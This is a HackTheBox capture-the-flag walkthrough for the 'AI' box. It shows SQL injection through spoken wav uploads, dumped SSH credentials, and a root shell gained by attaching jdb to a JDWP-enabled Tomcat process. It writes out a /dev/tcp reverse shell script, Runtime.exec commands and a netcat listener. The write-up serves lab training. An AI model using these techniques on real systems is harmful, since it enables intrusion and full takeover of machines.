HackTheBox - AI

6 minute read

AI was an interesting 30 point box created by MrR3boot . It started out by finding a wav file upload and using it to get SQL Injection. SQLi then allows you to dump SSH credentials which you use to log in and get user. You then have to abuse a Java/Tomcat/JDWP root process with some Java calls and jdb to get code execution and return a reverse shell to get root.



We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) - creds needed.
| ssh-hostkey: 
|   2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
|   256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_  256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I also added ai.htb to my /etc/hosts/ file.


Checking out http://ai.htb/ we come across the following page:

Browsing the site you’ll came across the ai.php page which includes a wav file uploader:

Test wav File

I used text2speech to generate a test wav file using the Male US voice. I entered some random commands to see what response I’d receive:

I was surprised when I saw the following SQL syntax error:


After finding the SQL error I ran gobuster to see if I was missing any information or important files:

# gobuster dir -u http://ai.htb -w /usr/share/wordlists/dirb/big.txt -x php -t 40
/db.php (Status: 200)
/intelligence.php (Status: 200)
/uploads (Status: 301)

It turns out a few things were needed. db.php indicated some sort of database connection-esque script, /uploads presumably stored the uploaded wav files, and intelligence.php displays the following information:

It would appear the uploaded wav files are processed by their Speech Recognition API. I used the commands from intelligence.php and some from microsoft dictation docs to craft the SQL Injection wav payloads in the following section.

SQL Injection wav File

The first step was to try to find out how many columns I had to work by using an 'order by payload and monitoring the response.

Starting with 'order by 1 -- -, this ended up becoming Open single quote order by 1 COMMENT DATABASE:

The output displayed nothing of interest:

Next I tried 'order by 2 -- - which became Open single quote order by 2 COMMENT DATABASE:

I received an interesting response:

Knowing the column number I then attempted to get the database version using the following command:

I received the following response:

Extracting Credentials

With successful data extraction I presumed we needed to get credentials to login via SSH. Due to the finicky nature of the SQLi I guessed that the table and key would be fairly straightforward.

The typical union select username from users and union select password from users returned true, you can see the wav commands and responses in the following screenshots:

This returned the username - alexa:

Next was the password, I used the following command:

This returned the password - H,Sq9t6}a<)?q93_:


With the credentials alexa / H,Sq9t6}a<)?q93_ you can login via SSH and simply cat the user flag.

# ssh alexa@
alexa@'s password: H,Sq9t6}a<)?q93_

alexa@AI:~$ id
uid=1000(alexa) gid=1000(alexa) groups=1000(alexa)
alexa@AI:~$ cat user.txt 



Browsing the file system I came across an apache-tomcat directory in /opt:

alexa@AI:/opt$ ls
alexa@AI:/opt$ cd apache-tomcat-9.0.27/
alexa@AI:/opt/apache-tomcat-9.0.27$ ls -la
total 152
drwxr-xr-x 9 root root  4096 Oct 24 13:04 .
drwxr-xr-x 3 root root  4096 Oct 21 14:14 ..
drwxr-x--- 2 root root  4096 Oct 21 14:14 bin
-rw-r----- 1 root root 18982 Oct  7 09:59 BUILDING.txt
drwx------ 3 root root  4096 Oct 21 14:16 conf
-rw-r----- 1 root root  5408 Oct  7 09:59 CONTRIBUTING.md
drwxr-x--- 2 root root  4096 Oct 21 14:14 lib
-rw-r----- 1 root root 57092 Oct  7 09:59 LICENSE
drwxr-x--- 2 root root  4096 Jan 25 11:40 logs
-rw-r----- 1 root root  2333 Oct  7 09:59 NOTICE
-rw-r----- 1 root root  3255 Oct  7 09:59 README.md
-rw-r----- 1 root root  6849 Oct  7 09:59 RELEASE-NOTES
-rw-r----- 1 root root 16262 Oct  7 09:59 RUNNING.txt
drwxr-x--- 2 root root  4096 Oct 21 14:14 temp
drwxr-x--- 7 root root  4096 Oct  7 09:57 webapps
drwxr-x--- 3 root root  4096 Oct 21 14:16 work

I thought this was odd as there didn’t appear to be a tomcat service running on the host.


I ran ps aux | grep tomcat to see if any processes were running with the keyword ‘tomcat’, I received the following stdout:

alexa@AI:/opt/apache-tomcat-9.0.27$ ps aux | grep tomcat
root       2650 60.5  5.4 3137572 108396 ?      Sl   11:58   0:04 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start 

The following snippet in the output caught my eye:


jdwp stands for Java Debug Wire Protocol. There are a bunch of CTFs based around exploiting JDWP as it has some major vulnerabilities.

I double-checked to see if port 8000 was listening on the host:

alexa@AI:/opt/apache-tomcat-9.0.27$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 localhost:8000*               LISTEN   

With this in mind I port forwarded the JDWP service to my local machine so I could interact with it:

# ssh -q -f -N -p 22 alexa@ -L localhost:8000:

Running nmap against localhost on port 8000 confirmed JDWP was running on the host:

# nmap -sV localhost -p 8000

8000/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.4


If you’ve never heard of JDWP then the following snippet is for you:

The Java(TM) Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). JDWP is optional; it might not be available in some implementations of the Java(TM) 2 SDK. The existence of JDWP can allow the same debugger to work - ORACLE


If you upload and run pspy you’ll notice the Java/tomcat/JDWP process running roughly every two minutes. This is important to know as it plays a part in the exploitation process:

Exploiting JDWP

This article explains the exploitation process perfectly, as well as every command (and its purpose) I’ve listed in this section. I recommend using tmux to split your shell vertically so you can monitor the pspy output and execute jdb commands on Kali concurrently.

Below I’ve summarised what needs to be done to get code execution and a root reverse shell:

Step 1

Create a reverse shell bash script in /tmp/:

alexa@AI:/tmp$ cat bash.sh 
/bin/bash -i >& /dev/tcp/ 0>&1

Step 2

Monitor the pspy output and wait for the Java/tomcat/JDWP process to execute (like in the pspy section ^).

Step 3

Run the following commands on Kali:

# jdb -attach localhost:8000

> stop in org.apache.tomcat.util.collections.SynchronizedQueue.size

You’ll then receive a Breakpoint hit: message and a prompt like the following:


Step 4

Enter the following command at the prompt:

print new java.lang.Runtime().exec("/tmp/bash.sh")

Step 5

Wait a few seconds and receive root shell on netcat listener:

# nc -nlvp 1234
listening on [any] 1234
connect to [] from (UNKNOWN) [] 34942
root@AI:~# id
uid=0(root) gid=0(root) groups=0(root)


The following screenshot demonstrates the tmux set up and subsequently getting root:

Alternative Root

You can use this exploit which pretty much automates the manual JDWP exploitation process.

alexa@AI:/tmp$ python jdwp-shellifier.py -t --cmd /tmp/bash.sh